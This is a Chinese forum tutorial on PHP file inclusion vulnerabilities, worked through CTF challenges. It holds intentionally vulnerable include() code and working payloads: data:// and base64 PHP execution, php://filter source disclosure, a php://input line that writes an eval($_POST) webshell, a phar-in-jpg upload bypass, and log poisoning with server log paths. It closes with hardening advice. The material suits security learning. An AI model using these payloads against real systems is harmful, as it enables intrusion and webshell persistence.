安全矩阵

 找回密码
 立即注册
搜索
查看: 682|回复: 0

从CTF中学习文件包含漏洞

[复制链接]

180

主题

231

帖子

1174

积分

金牌会员

Rank: 6Rank: 6

积分
1174
发表于 2022-12-19 16:10:35 | 显示全部楼层 |阅读模式

从CTF中学习文件包含漏洞

  • 什么是文件包含漏洞?漏洞的原理是什么?
    文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,
    包含其他恶意文件,导致了执行非预期代码。

文件包含漏洞可以分为 RFI (远程文件包含)和 LFI(本地文件包含漏洞)两种。
区分他们最简单的方法就是 php.ini 中是否开启了allow_url_include。
如果开启了我们就有可能包含远程文件。·
php 中引发文件包含漏洞的通常是以下四个函数:
1、include() 当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,
发生错误时只给出一个警告,继续向下执行。
2、include_once() 功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。
3、require() 只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行
4、require_once() 它的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。
当使用这四个函数包含一个新文件时,该文件将作为 PHP 代码执行,
php 内核并不在意该被包含的文件是什么类型。
所以如果被包含的是 txt 文件、图片文件、远程 url、也都将作为 PHP 代码执行。
  • 为什么会产生这个漏洞?根本的原因是什么?

文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,
由于传入的文件名没有经过合理的校验,从而引入了预想之外的文件,
从而导致意外的文件泄露、恶意的代码注入。
示例:
理想的使用是url?=main.php,代码逻辑为未传入文件则包含home.php。
但是当传递意料之外的参数时,就会造成文件包含漏洞。
<?php
if ($_GET[url]) {
    include $_GET[url];
} else {
    include "home.php";
}
?>
当传入带恶意代码的文件时,里面的代码会被执行。
  • 怎么挖掘这个漏洞?怎么验证漏洞是否存在?怎么利用这个漏洞?
    关注存在引入外部文件或者引入其子站内容的功能点。
    关注?file=text、?page=text.php、?home=text.php等

4、php伪协议利用
4.1、data协议
data://协议必须在满足allow_url_fopen=on,allow_url_include=on下使用
data:// 伪协议利用php中流的概念,将原本include的文件流重定向到可控制的参数中。
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
案例:
<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
?>
从代码可以发现过滤了php,使用data协议绕过。
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
查看当前目录下的文件
编码前:data://text/plain;base64,<?php echo `cat flag.php`; ?>
编码后:data://text/plain;base64,PD9waHAgZWNobyBgY2F0IGZsYWcucGhwYDsgPz4=
4.2、php://协议
利用条件:
1、allow_url_include = On。

php://filter用于读取源码。
php://input用于执行php代码。

php://filter/convert.base64-encode/resource=index.php
通过指定末尾的文件,来读取被base64加密后的文件内容。

?file=php://filter/convert.base64-encode/resource=index.php
使用php://input执行php代码。此处踩坑,使用hackbar进行Post传输,会导致失败。推测为插件bug,具体原因不明,建议使用Burp传输
利用php://input协议写入webshell。
<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[cmd]);?>'); ?>
使用php://filter读取Index.php文件
4.3、phar://协议
主要是用于在php中对压缩文件格式的读取,这种方式通常是用来配合文件上传漏洞使用,
或者进行进阶的phar反序列化攻击
用法就是把一句话木马压缩成zip格式,shell.txt -> shell.zip,然后再上传到服务器
示例1:
payload:file=phar://D:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
示例2:
使用php://filter读取include.php源码
payload:php://filter/convert.base64-encode/resource=include.php

将base64解码后得到,从内容可以发现过滤了http、data、ftp、input、%00。但是存在一个upload.php
<html>
Tips: the parameter is file!
<!-- upload.php -->
</html>
<?php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "<p> error! </p>";
        }
        else
        {
            include($file);
        }
    }
?>
再读一下upload.php
base64解码,发现是白名单。
<form action="" enctype="multipart/form-data" method="post"
name="upload">file:<input type="file" name="file" /><br>
<input type="submit" value="upload" /></form>

<?php
if(!empty($_FILES["file"]))
{
    echo $_FILES["file"];
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    @$temp = explode(".", $_FILES["file"]["name"]);
    $extension = end($temp);
    if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg")
    || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg")
    || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png"))
    && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts))
    {
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
        echo "file upload successful!Save in:  " . "upload/" . $_FILES["file"]["name"];
    }
    else
    {
        echo "upload failed!";
    }
}
?>
将shell.php打包成shell.zip,再将后缀名改为jpg上传
使用phar协议执行
去读flag,系统命令无法使用。
payload:?file=phar://upload/shell.jpg/shell&cmd=var_dump(scandir('/'));
?file=phar://upload/shell.jpg/shell&cmd=highlight_file("/flag.php");

4.4、zip协议
使用 zip 协议,需要指定绝对路径,同时将 # 编码为 %23,之后填上压缩包内的文件。
示例:
payload:zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.zip%23phpinfo.txt、
5、包含日志文件
常见的日志文件路径:
linux
/var/log/apache2/log/access.log
/var/log/httpd/access.log
/var/log/nginx/access.log
apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
/etc/init.d/httpd
IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
apache+Linux 日志默认路径
/etc/httpd/logs/access_log
/var/log/httpd/access log
apache+win2003 日志默认路径
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS6.0+win2003 默认日志文件
C:/WINDOWS/system32/Logfiles
nginx 日志文件
/usr/local/nginx/logs
可通过其配置文件 Nginx.conf,获取到日志的存在路径
/opt/nginx/logs/access.log
示例:
从源码中可以看出过滤了php、data、:关键字
<?php
if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}
?>
通过返回包确认为nginx
尝试包括日志文件
file=/var/log/nginx/access.log
使用hackerbar在user-agent头写入代码,失败。
换burp,发送
再访问日志文件,成功执行

写入一句话木马
蚁剑连接,拿到flag
6、如何提前防范这个漏洞?如何进行加固?
1、设置白名单
2、过滤危险字符
3、设置文件目录
PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,
如果设置目录的话,PHP仅仅在该目录内搜索文件。
4、关闭危险配置(allow_url_include)

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 19:24 , Processed in 0.019529 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表